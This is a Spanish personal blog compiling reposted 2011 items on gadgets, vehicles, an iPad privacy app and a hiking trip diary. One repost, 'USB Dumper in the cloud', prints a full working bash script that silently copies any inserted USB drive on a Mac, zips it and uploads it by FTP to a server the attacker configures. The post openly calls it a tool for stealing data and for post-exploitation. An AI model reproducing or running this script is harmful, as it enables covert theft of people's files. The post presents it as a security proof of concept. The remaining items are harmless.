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28 octubre 2011

Tablet PC Windows Ocosmos OCS9 disponible para pedido anticipado

Tablet PC Windows Ocosmos OCS9 disponible para pedido anticipado:

Ocosmos OCS9 3 Tablet PC Windows Ocosmos OCS9 disponible para pedido anticipado

Un nuevo Tablet PC Windows está llegando para las festividades de finales de año. El Ocosmos OCS9 ya está disponible para su pedido anticipado en Estados Unidos a través de la tienda en línea Dynamism a un precio de 649 dólares para el modelo de 16 GB o 749 dólares para el de 32 GB.

Especificaciones del Ocosmos OCS9:

* Pantalla táctil TFT de 10.1 pulgadas con resolución 1280 x 800 * Chip Intel Oak Trail de 1,5 GHz * 2 GB de RAM * Cámara frontal de 1.3MP * Ranura para tarjeta microSD * GPS

En términos de conectividad, el Ocosmos OCS9 entrega Wi-Fi 802.11 b / g / n, Bluetooth 3.0 y dos puertos USB 2.0.

Su batería de 3650 mAh permite hasta seis horas de uso. Funciona con Windows 7 Home Premium de 32 bits.

* El tablet Ocosmos OCS9 es ofrecido en un paquete que incluye el dispositivo de 32GB con un puerto de teclado, una estación de acoplamiento, una bolsa de transporte, y un smart O-Bar; todo a un valor de 1048,97 dólares.

Ocosmos OCS9 1 Tablet PC Windows Ocosmos OCS9 disponible para pedido anticipado

Ingenieros de Utah muestran un impresionante exoesqueleto robótico para labores de construcción

Brazos mecánicos

No recolecta gas vespeno, pero podría hacerlo con un par de modificaciones si algún día descubrimos Tarsonis. En Estados Unidos hay varias zonas donde la robótica es un campo en pleno desarrollo. Una de estas zonas es el área de Massachusetts, donde la influencia del MIT ha creado empresas como Boston Dynamics y su escalofriante Big Dog.

Otra de estas zonas es Salt Lake City, donde la facultad de ingeniería mecánica de la Universidad de Utah alimenta a empresas como Raytheon Sarcos Company. Es esta compañía precisamente la que acaba de mostrar este prototipo de exoesqueleto robótico que veis en la imagen.

A diferencia de otros robots que trabajan de manera autónoma, el prototipo de la Raytheon necesita a un operario humano que es quien lo maneja directamente. La novedad es que el sistema no necesita prácticamente aprendizaje. Los brazos robóticos simplemente responden a los movimientos de los brazos y hombros del operario como si fueran una extensión de su cuerpo gracias a una tecnología bautizada como Force-Reflection.

Brazos mecánicos

Este mismo conjunto de sensores sirve para que el operario pueda sentir si está cogiendo peso o como está manipulando un objeto. El prototipo es capaz de levantar y manipular con mucha agilidad pesos considerables y sus creadores lo han concebido precisamente como equipamiento para construcción y reparación en trabajos pesados o entornos peligrosos para los seres humanos.

Aparte de la sorprendente exhibición que podeis ver en el vídeo, no existe fecha de comercialización ni precio para este SCV primigenio. No estaría mal que la Raytheon Sarcos le dedicara más atención a estas investigaciones en vez de concebir armamento, otra de sus principales actividades que, probable y tristemente, de mucho más dinero.

Vía | KSL News Más información | Raytheon Sarcos

BlackBerry Porsche Design P’9981

BlackBerry Porsche Design P’9981:

BlackBerry Porsche

Ya está aquí, y eso que parecía una broma cuando os la enseñamos por primera vez, y es justo lo que adelantamos: una BlackBerry diseñada junto al equipo de diseño de la prestigiosa firma automovilística Porsche.

BlackBerry Porsche Design P’9981 es el rimbombante nombre con el que lo han bautizado, y que incluso consideramos acorde con lo que nos presentan, un teléfono de lujo con un diseño que marca la diferencia, acompañado de las especificaciones técnicas que tenemos en un terminal de última generación de la firma canadiense.

Con respecto a una BlackBerry tradicional, además de su aspecto, nos encontramos con unas materiales diferentes, ya que el marco principal del equipo está confeccionado con acero inoxidable forjado. Para la trasera, qué mejor que cuero forrado a mano para recordarnos el volante y el pomo de un deportivo de la casa alemana.

Porsche

Una BlackBerry vestida por Porsche

Debajo del original, para algunos espectacular, aspecto, tenemos una BlackBerry de última generación, de las que se atreven con pantalla táctil y teclado QWERTY a la vez, con especificaciones técnicas bastante interesantes.

Entre ella destacamos un procesador a 1.2GHz, concretamente un Qualcomm Snapdragon MSM8255, que está dando buenos resultados en las nuevas Bold. También tenemos una memoria interna de 8GB, 768MB de RAM, y una cámara de 5 megapíxeles que graba vídeo en formato 720p.

RIM es una de las empresas que más fuerte ha apostado por la tecnología NFC, presente en sus últimos Smartphone, y por lo tanto también en su terminal confeccionado de la mano de Porsche. Ya nos han enseñado algunas aplicaciones como BlackBerry Tag.

P’9981

La pantalla táctil capacitiva cuenta con 2.8 pulgadas de diagonal, está confeccionada con tecnología LCD, y cuenta con una estupenda resolución de 640×480 píxeles, que la da una densidad de puntos de 287dpi, y que en RIM han bautizado como Liquid Graphics.

En la última revisión de las BlackBerries ya se incluyeron todo tipo de sensores, como la brújula digital que se complementa con el GPS para determinar hacia donde apuntamos. Cerrando el tema de las especificaciones, tenemos unas dimensiones de 115 × 67 × 11.3 milímetros, con un peso de 155 gramos.

Cámara

Lógicamente no esperábamos otra cosa que BlackBerry 7 como sistema operativo, que viene con una personalización de la interfaz diseñada por Porsche Design. Se ha incluido también el navegador web de Realidad Aumentada Wikitude World Browser (de ahí la brújula digital).

BlackBerry Porsche Design P’9981, disponibilidad

La BlackBerry Porsche Design P’9981 estará en los principales mercados, entre los que nos encontramos, a finales de año, y todavía no se ha hablado nada sobre precios, pero esperamos que no sea precisamente asequible.

En Engadget comentan que costará cerca de 2.000 dólares, además de que se tratará de una edición limitada, de hecho incluye PINs premium que ayudan a identificar a otro usuario del smartphone P’9981 con facilidad.

BlackBerry

Más información | RIM

27 octubre 2011

El bañador de las Superheroínas.

El bañador de las Superheroínas.

Lit C1, inclasificable pero curioso "dos ruedas" que no se cae

Lit C1, inclasificable pero curioso "dos ruedas" que no se cae:

litc1.jpg La Lit C1 es una… bien, es un scooter muy especial. Para empezar, no tiene nada de extraño con sus dos ruedas, pero la carrocería ya nos sugiere que estamos ante algo por lo menos diferente. Si luego asomamos la nariz al interior y descubrimos el volante, ya nos quedamos un poco más extrañados. Y si nos fijamos que la cosa se mantiene en equilibrio cuando no tiene ninguna pata de cabra desplegada, redondeamos nuestra sorpresa.

Lleva ya un tiempo pululando por la red, pero no quería dejar pasar la oportunidad de comentar un poco sus características y su funcionamiento. Lit Motors es la empresa que está detrás de la Lit C1 y, sinceramente, me impresiona la teccología utilizada y la intención del invento.

Motores eléctricos, volante de inercia estabilizador: ¿el futuro?

Se trata de una moto eléctrica, solo que en lugar de un solo motor tendrá uno por rueda. dos motores de 40 kW cada uno que permitirán al ingenio ponerse de 0 a 100 km/h en unos 6 segundos, y alcanzar una velocidad máxima de 190 km/h y tener una autonomía de 240 kilómetros. Por eso las motos ganan a los coches en el mundo eléctrico.

Lo más impactante es el volante de inercia que tiene un par de 1762 Nm destinado enteramente a contrarrestar cualquier intento de, volcado. Lo vais a ver en el siguiente vídeo, pero es increíble cómo se mantiene sola, como si se tratase de un segway, pero mucho más seguro.

Para mi tiene mucho sentido crear algo como esto:

  • Gasta muy poco, como cualquier scooter eléctrico, poco más o menos
  • Gasta menos neumáticos que un coche eléctrico pequeño estilo Renault Twizy o Nissan Leaf. Concretamente, dos menos
  • Virtualmente, desde dentro, es un coche. No se cae, parece ir sobre cuatro ruedas
  • Su precio (16.000 dólares, unos 11.300 euros al cambio) no es desorbitado teniendo en cuenta a) que va a competir con coches, y b) que tiene una tecnología muy interesante y c) que solo se fabrican 10.000 unidades en la primera hornada

PD: El vídeo empieza muy en plan vídeo musical, con una referencia a Tron (o eso me pareció a mi, desde luego), pero luego me encantan las pruebas de volcado. ¿No os gustaría probar una? ¿De verdad que no? O hacerle una prueba estilo Albi...

Vía | El Economista

25 octubre 2011

Gredos: Plataforma – Almanzor – Refugio Elola.

Gredos: Plataforma – Almanzor – Refugio Elola.:

“No te rindas, por favor no cedas, aunque el frío queme, aunque el miedo muerda, aunque el sol se esconda, y se calle el viento, aún hay fuego en tu alma, aún hay vida en tus sueños. Porque la vida es tuya y tuyo también el deseo, porque cada día es un comienzo nuevo, porque esta es la hora y el mejor momento.”

Mario Benedetti.

Ni en mi mejores sueños podía imaginar que pudiese disfrutar de unas autenticas vacaciones de verano a principios de Octubre. Pero el destino es así de caprichoso, me negado dos buenos planes que tenía, el camino primitivo andando con Borja y el camino de santiago en solitario, ofreciéndome la posibilidad de volver a Gredos y por fin cumplir un sueño de hace varios años, subir al Almanzor.

Hemos Madrugado lo justo para no llegar excesivamente tarde a la plataforma pero como soy un cabezón y me empeño en ir a Gredos por la carretera de los pantanos sin pasar por Ávila termino dando más vuelta para terminar perdiéndome. Pero cuando estas de vacaciones estas cosas no se tienen en cuenta y más cuando te acercas a la soledad de una zona de montaña que por ser día laborable la tienes para disfrutar casi en exclusiva.

Es la primera vez que voy a la plataforma de Gredos y estoy disfrutando a tope de un paisaje que estoy seguro gana kilates en invierno y primavera, esta seguramente sea una de mis últimas travesías en un año, por eso quiero disfrutarla, quiero volver a sentirme hermanado con la montaña como en el pirineo y disfrutar cada segundo de estos dos días que se presentan increíbles.

Apenas hay unos cuantos coches en el aparcamiento, buena señal, tan solo las vacas campean rumiando las hierbas secas que este otoño disfrazado de verano se niega a revitalizar con su verde primaveral. La senda de la LagunaGrande se anuncia como un viaje a las Glaciaciones del Cuaternario, esta empedrada, muy cuidada y se camina fácil lo que te permite disfrutar del entorno. La senda tiene algo menos de 7 kilómetros hasta la laguna Grande unas 2 horas y media de pateo, siendo los primeros 4 kilómetros de subida hasta los barrerones. Paramos en la fuente de los Cavadores para descansar un poco y repostar agua. Un parajillo juguetea un rato conmigo, va dando saltitos de lado a lado hasta que se queda un buen rato junto a mí mirándome hasta casi dejándose acariciar. Al retomar la marcha el pajarillo continúa con nosotros un buen tramo revoloteando a ras de suelo, como mostrándonos el camino.

Al llegar a los Barrerones ya tenemos el circo de Gredos ante nosotros, precioso y con muchos secretos que contarnos a medida que nuestras botas se vallan ganando el derecho de conocerlos, pagando con sudor y esfuerzo cada metro que estos picos piden por dejarte asombrado. La senda de repente me deja ver por primera vez la laguna de Gredos y me enamoro de ella, de su enclave de su tonalidad del agua, de su calma. Se que tal vez la estoy viendo como a una mujer recién levantada, pero si así es cuando esta más feas no me quiero ni imaginar como estará con todo el maquillaje de una primavera en ebullición.

El refugio Elola esta situado a los pies de la laguna y es donde tenemos reserva para pasar la noche, nos asignas las taquillas y dejamos las mochilas con el peso justo para afrontar la subida del Almanzor. Comemos un bocata y nos ponemos de nuevo en faena con algo de apuro en nuestro paso ya que en principio tenemos el tiempo justo para subir y bajar antes de la hora de la cena y que se haga de noche claro.

Una vez que te orientas en la subida ya es todo para arriba, ves lo que te queda y tiemblas, en la cima se puede vislumbrar el vértice geodésico que es nuestro objetivo del día y mi sueño desde que estudiaba los montes y los ríos en el colegio. La subida es realmente dura ya no solo por el desnivel que se va salvando sino por el tipo de terreno, canchal de los incómodos de caminar, pasamos el nevero y afrontamos la Portilla del Crampón algo así como una escalera hacia el cielo en el que cada paso es un triunfo para un senderista gordito y con una lesión de rodilla que hace un rato le esta avisando que afloje. Pero teniendo tan cerca el pico cualquiera se da la vuelta.

Las vistas una vez superada la portilla son espectaculares compensando cada gota de sudor que has dejado en el camino, pero nos queda el premio gordo, el pico y este se nos resiste un poco ya que nos confundimos de camino y nos pasamos de largo pero rectificamos justo a tiempo logrando llegar al tramo de trepada complicado que he confesar nos lleno un poco de dudas, mas por la bajada que por la subida. Una vez decido dejar de plantearme tonterías me pongo a trepar y voy superando todos los obstáculos hasta que por fin hago realidad mi sueño, cumbre del Almanzor conquistada, y una vez más he puesto vistas a esas lecciones de geografía en las que yo me perdía en las fotografías. La sensación de estar solo en la cumbre, con el frescor de una tarde que comienza su ocaso y el mundo a tus pies no tiene nombre, estoy realmente feliz. Borja no ve necesario llegar hasta el vértice y comienza el descenso, me lo encuentro de nuevo en el punto que más dudas nos dio en el ascenso y no lo ve claro, me sitúo y de repente lo veo nítido, no hay que intentar bajar de espaldas, hay que hacerlo de cara al precipicio y lo supero sin una duda ,ni mayor dificultad, lo que es el miedo y la cabeza. Borja me sigue y con la confianza de tenerme abajo lo supera sin mayor problema. Hemos subido a buen ritmo y la bajada también se nos da muy bien, en el tramo de la portilla nos encontramos con un Padre y un Hijo que serán los últimos del día en coronar la cumbre y van con el tiempo muy justo, son compañero de refugio y nos despedimos hasta la cena deseándoles buena suerte.

La luna se asoma al circo entre sus riscos dejando una foto preciosa en la retina. Una vez en el refugio como no tienen suficiente agua las duchas están “restringidas” por lo que nos apañamos con asearnos un poco con el agua de la laguna. En el refugio nos alojamos un médico de León, El Padre con el Hijo y una pareja de compañero de trabajo que van a escalar la Galana al día siguiente. Entre charlas pasamos la noche, la cena y la hora de silencio que al estar en familia se hace algo más tardía.

Estoy muerto de sueño, de cansancio, no me he podido duchar, hemos cenado en un banco de madera recogiendo nuestra mesa al terminar como es norma en los refúgios, pero me meto en el saco con una sonrisa de oreja o oreja, en la segunda fila de una litera corrida y pensando que William Cowper también sintió lo que yo siento cuando dijo La felicidad depende, como muestra la naturaleza, menos de las cosas exteriores y más de las interiores.

Track de la Ruta

Galería de Fotos

Quantum Levitation

El Photoshop soñado por el gremio de los diseñadores

El Photoshop soñado por el gremio de los diseñadores:

Photoshop Dreamed

En tres clics: marchando una ración de logotipo serio pero llamativo, con fotos de stock pero aumento de busto para finalmente exportarlo a Word, Excel y si se puede a iPhone/iPad.

Photoshop Dreamed: para mover el ratón y reirse con los menús, que muestran lo que los diseñadores desearían poder hacer con un clic a partir de las «exóticas» peticiones que reciben a veces de los clientes.

(¡Gracias, Adolf!)

Photo

USB Dumper in the cloud: Roba datos de pendrives por USB y mándalos a la nube (a un servidor FTP)

USB Dumper in the cloud: Roba datos de pendrives por USB y mándalos a la nube (a un servidor FTP):
USBDumper es un pequeño script desarrollado en Octubre del año pasado para Seguridad Apple desde el equipo de auditoría de aplicaciones web de Informática64, y cuya finalidad era demostrar en una prueba de concepto (POC), que se pueden robar los datos de los pendrives que se conectan a nuestro equipo Mac OS X fácilmente, y luego sacar el "jugo" de los datos robados. Tal y como se comentó en el artículo USB Dumping en Mac OS X, este tipo de ataques resulta muy efectivo en entornos de trabajo en donde un compañero te pide la impresión de un documento, o la copia de determinado fichero de un dispositivo extraíble, siempre bajo su supervisión. Sin embargo, desde el momento en que se conecta el pendrive a nuestro querido Mac OS X, éste empezará a realizar un copiado del pendrive de forma totalmente transparente en el directorio /tmp/Volumes/. La nueva versión de este programa para hacer USB Dumping, que ha sido desarrollada a petición de un lector asiduo de Seguridad Apple, incorpora la nueva funcionalidad de comprimir el contenido del dispositivo y subirlo a un servidor FTP. De este modo, el atacante – o ladrón de datos – dispondrá de sus backups en la nube. Sabemos que podríamos haber resuelto el problema de sinconización con la nube añadiendo la carpeta donde se copian los backups a la lista de carpetas a sincronizar con algún servicio de online backup, como Dropbox o Zendal Backup, pero entonces no podría usarse como una herramienta de post-explotación en una máquina. De esta forma, el script serviría para controlar una máquina explotada o podría ser una aplicación ideal para complementar un ataque David Hasselhoff, ya que además de hacerle una pequeña "broma" en su escritorio, estará subiendo al servidor FTP el contenido de sus dispositivos, a los cuales tendremos acceso incluso sin necesidad de que el usuario se vuelva a dejar desbloqueado el equipo. A continuación mostramos el código de la nueva versión de USB Dumper "in the cloud" , el cual requiere que se editen las variables SERVER, USERNAME y PASSWORD, localizadas en las primeras líneas del script.
Figura 1: USB Dumper enviando el backup a la nube
A continuación mostramos el código de la nueva versión de USB Dumper in the cloud, al cual es necesario editarle las variables SERVER, USERNAME y PASSWORD localizados en las primeras líneas del script.
#!/bin/bash
#www.seguridadapple.com
SERVER="host"
USERNAME="user"
PASSWORD="password"
function saveDefaultDevices()
{
rm -rf /tmp/usblist /tmp/Volumes
mkdir /tmp/Volumes
for vol in /Volumes/*
do
echo $vol >> /tmp/usblist
echo "Detecting $vol as default"
done
}
function checkDevices()
{
for vol in /Volumes/*
do
aux=`cat /tmp/usblist |grep -i "$vol"`
aux=`echo $?`
if [ $aux -eq 1 ]; then
nombre=`echo $vol | awk -F "/" '{print $3}'`
echo $vol >> /tmp/usblist
mkdir "/tmp$vol"?
echo "[+] Dumping $vol in /tmp$vol"
sleep 1
cp -R "$vol" "/tmp/Volumes/"
auxVol="/tmp/$nombre.zip"
rm -rf $auxVol
echo "Compressing files [ /tmp$vol in $auxVol ]"
zip -r "$auxVol" "/tmp$vol" > /dev/null
echo "Uploading to FTP"
ftp -n -i $SERVER <<EOF
user $USERNAME $PASSWORD
binary
put "$auxVol" "$nombre"
quit
EOF
echo "[+] Done"
fi
done
}
saveDefaultDevices
while [ 1 ]; do
checkDevices
sleep 1
done

RED BULL LOS ANDES 2011 CANAL SPEED PARTE 3

24 octubre 2011

Confirmada la producción de la Honda Crosstourer

Honda Crosstourer

El año pasado, entre las novedades que presentaba Honda para el 2011, aparecía una concept trail denominada Honda Crosstourer. Poco antes del verano, Luis nos dijo que había sido cazada circulando. Y hoy, nos ha llegado la confirmación de que la Honda Crosstourer será producida en serie.

La nueva Honda Crosstourer volverá de nuevo al EICMA 2011, pero en este caso no es fase de prototipo sino para ser presentada al público en su forma definitiva y con todas sus características al completo. De momento, todo lo que podemos saber es que equipa el mismo motor V4 que la Honda VFR1200F y caja de cambios Dual Clutch Transmisión de doble embrague. Completa el conjunto suspensiones de largo recorrido, postura de conducción erguida y el estilo de una máquina off-road.

Declaraciones de Yosuke Hasegawa, líder del equipo de desarrollo:

La Crosstourer ofrece un alto nivel de fusión entre el estimulante estilo off-road, una postura de conducción erguida, el potente motor V4 y el Dual Clutch Transmission, que ofrece una potencia de transmisión más directa y mayor facilidad de uso. Estamos convencidos de que hemos conseguido crear con éxito lo que se puede denominar como el verdadero concepto Crossover.

21 octubre 2011

Como se le va la pinza al cantante

Polonia extrem

Roto está , pero anda , ¿no?

‘My Secret Folder’, una aplicación que te ayudará a mantener tu privacidad en el iPad

‘My Secret Folder’, una aplicación que te ayudará a mantener tu privacidad en el iPad:

mzl.wzjgqvug.480x480 75 My Secret Folder, una aplicación que te ayudará a mantener tu privacidad en el iPad

My Secret Folder es la aplicación que necesitas para mantener tu iPhone o iPad alejados de ojos indiscretos. Si crees que alguien está intentando acceder a tu iPad, esta herramienta te ayudará a descubrir quién está usando tu móvil sin tu permiso.

Al comprar la aplicación en la App Store, se te descargará un icono llamado “My Folder”, que tendrá la apariencia de una carpeta donde tenemos guardadas varias aplicaciones. Al abrirlo, nos pedirá introducir nuestra contraseña. Si alguien introduce la numeración incorrecta, la aplicación tomará una foto de manera inmediata para que podamos saber quién está intentando acceder a nuestro móvil. Esta opción de puede desactivar desde los ajustes.

Dentro de esta aplicación podremos guardar imágenes, vídeos, contactos y favoritos de tu navegación.

My Secret Folder está disponible por 0.79 euros en la App Store y es compatible tanto con el iPhone como para el iPad. Si quieres conseguirla de manera gratuita, simplemente estate atento/a a nuestra web y al próximo podcast especial que lanzaremos este fin de semana.

456939837 My Secret Folder, una aplicación que te ayudará a mantener tu privacidad en el iPad My Secret Folder Desarrollador: Bright Artificial Intelligence Ltd Precio: 0.79 euros (descargar aplicación)

Camino de Santiago en Bici desde El Álamo



Envidia podría ser la palabra adecuada para describir lo que han hecho este par de amigos.

Ir de El Álamo (Madrid) a Santiago de Compostela en bici.



Tenéis toda la información en su blog y por supuesto todos los tracks en Wikiloc

http://juanmerxan.blogspot.com/2011/08/camino-de-santiago.html

http://es.wikiloc.com/wikiloc/view.do?id=2141827

Solo me queda darles la ENHORABUENA

[acarohandmade]